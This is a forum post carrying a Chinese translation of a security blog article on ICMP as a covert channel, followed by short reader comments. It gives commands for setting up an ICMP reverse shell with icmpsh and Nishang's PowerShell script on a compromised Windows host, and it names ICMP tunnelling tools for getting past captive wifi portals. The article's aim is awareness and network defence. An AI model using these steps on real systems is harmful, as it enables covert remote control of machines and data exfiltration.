首页
论坛
专栏
课程

[翻译]ping 这个命令会有危害么?有么?

2017-6-18 01:23 6093

[翻译]ping 这个命令会有危害么?有么?

2017-6-18 01:23
6093


长话短说: 你可以通过ICMP发起一个远程shell连接。ICMP也可以被用来做坏事。 


很多客户都会问我这个问题“Ping is okay? Right?”,一般而言ICMP(ICMP远不仅仅是ping,但经常被简单的说成是ping)是一个很好的工具,用来测试网络是否有响应,来确认你的网络连接通不通。它也经常被用来测试连接是否可靠。我的观点是,从一个IT人员的角度来讲,我们可以用ICMP来做很多事情。我想让人知道的是,任何你允许从你网络出来的东西都可以被利用做坏事。在这篇文章,我将为你展示黑客们是如何用ICMP来获取数据以及如何仅仅利用ICMP就和网络内部的客户端进行通信的。 


使用ICMP来做一些坏事的原理是很明了的,在1996年就已经写的很简单了。它出现在PHRACK杂志(回忆过去啊)http://phrack.org/issues/49/1.html ,被称作:Project Loki (Loki项目)。  


使用ICMP来作为隐蔽通道的原理是:你有一个服务端和一个客户端,当它们通信时会用到 ICMP_ECHO 和 ICMP_ECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。 


 我觉得这个很酷。有多少人会仔细分析ICMP流量呢?(这里只是假定)

 ICMP仅仅是一种可能的隐蔽通道,如果黑客喜欢的话,他们也可以用DNS。其实已经有DNS隐蔽通道的项目了(自己谷歌去看看)。你的网络里每一个向外部互联网发送数据的通道,都很有可能被黑客用来作为隐蔽通道。这篇博客我只讨论ICMP。 


下面是一个简单的demo,展示了这种方法具体是如何工作的,这里使用Bernardo Damele的 ICMPSH工具,这个工具最初是由Nico Leidecker开发的——http://www.leidecker.info/


首先在攻击者机器上,关闭ICMP回复,避免发送其它数据干扰隐秘通道测试。 

关闭命令:sysctl -w net.ipv4.icmp_echo_ignore_all=1 

打开命令:sysctl -w net.ipv4.icmp_echo_ignore_all=0  


现在我克隆一份 ICMPSH github项目到我的攻击者机器: 

命令:git clone https://github.com/inquisb/icmpsh.git 

使用ICMPSH项目里的python脚本启动服务端。使用这条命令: 

Python icmpsh_m.py x.x.x.x y.y.y.y   (注:x.x.x.x 是攻击者机器的公网ip,y.y.y.y是被黑机器的公网ip) 


现在攻击者机器会监听等待。接下来我们去被黑服务器(客户端)。在ICMPSH git项目有一个可用在windows客户端的脚本。但是我更喜欢使用Powershell,所以在这里我将使用Nishang PowerShellICMP。代码可以在这里找到(感谢Nikhil Mittal 的杰出作品):https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1


把这些代码复制到windows客户端的 Powershell窗口。Powershell不需要提权,用户也不必是本地管理员。


然后调用新定义的函数,像这样:  


在攻击者机器上,你将会得到一个通过ICMP连接的Shell(就像魔术一样): 


有趣的是查看客户端的流量。我运行Wiershark 并过滤出来自我虚拟机的流量,当我通过shell执行命令时,我看到的如下图所示: 


所以,回答下本篇博客的问题,“ping 是正常的吗?”,我想说你需要评估你网络环境的风险。没有适用于所有情景的答案。当然,要想使用这个方法,黑客必须得控制一台主机。就像我经常说的,安全要考虑到多个层次,不要只依靠几层,要考虑的长远些。 

比如: 

——如果黑客获取了一个客户端访问权限,会怎么样? 

——我有AppLocker来阻止代码执行。 

——如果攻击者绕过AppLocker呢? 

——用户没有本地管理员权限。 

——如果攻击者获取了本地管理员权限呢? 

——客户端计算机不能和其它客户端计算机通信,敏感数据是被隔离的。  


当然,整体上来讲,阻止使用ICMP/DNS隐秘通道是一个不错的想法。但是在现代网络环境,有太多的其它方法对一个网络发送和获取数据了。而很多攻击者根本不需要使用ICMP隧道。 

值得一提的是,现在有一些项目可以使用ICMP来代理流量发送到互联网。比如有些公共wifi会要求你在使用wifi前进行注册,但是很多情况下在你认证之前ICMP是打开的。意味着你可以通过ICMP 代理来传输你的流量然后免费上网。 

 一些例子: 

http://dries.eu/rpms/ptunnel/ptunnel 

http://neophob.com/2007/10/pingtunnel-for-windows-icmp-tunnel/  

(我没有测试这些工具,如果你去搜索可能会找到更多类似的工具)

 我希望这篇文章阐述清楚了:就算是一些像ping这样无害的命令,也可以被黑客用来做坏事。  


原文链接:https://msitpros.com/?p=3877 

本文由 看雪翻译小组 LImp 翻译



[招聘]欢迎市场人员加入看雪学院团队!

最新回复 (6)
sjh_pediy 2017-6-18 07:24
2
0
网络安全无处不在,只要有缝隙,风险都会进入,普通人无所谓,但是对于专业研究者,就要考虑的更多一些
marsboys 2017-6-18 09:37
3
0
谢谢分享
段子来了 2018-1-30 09:14
4
0
即使铜墙铁壁也会有破绽
medas 2018-3-12 20:44
5
0
任何的数据交互都是不可信的
小生普通用户 2018-9-30 16:47
6
0
这个好牛逼
niuzuoquan 2018-10-26 08:13
7
0
CISSP正好有这道题目,mark
游客
登录 | 注册 方可回帖
返回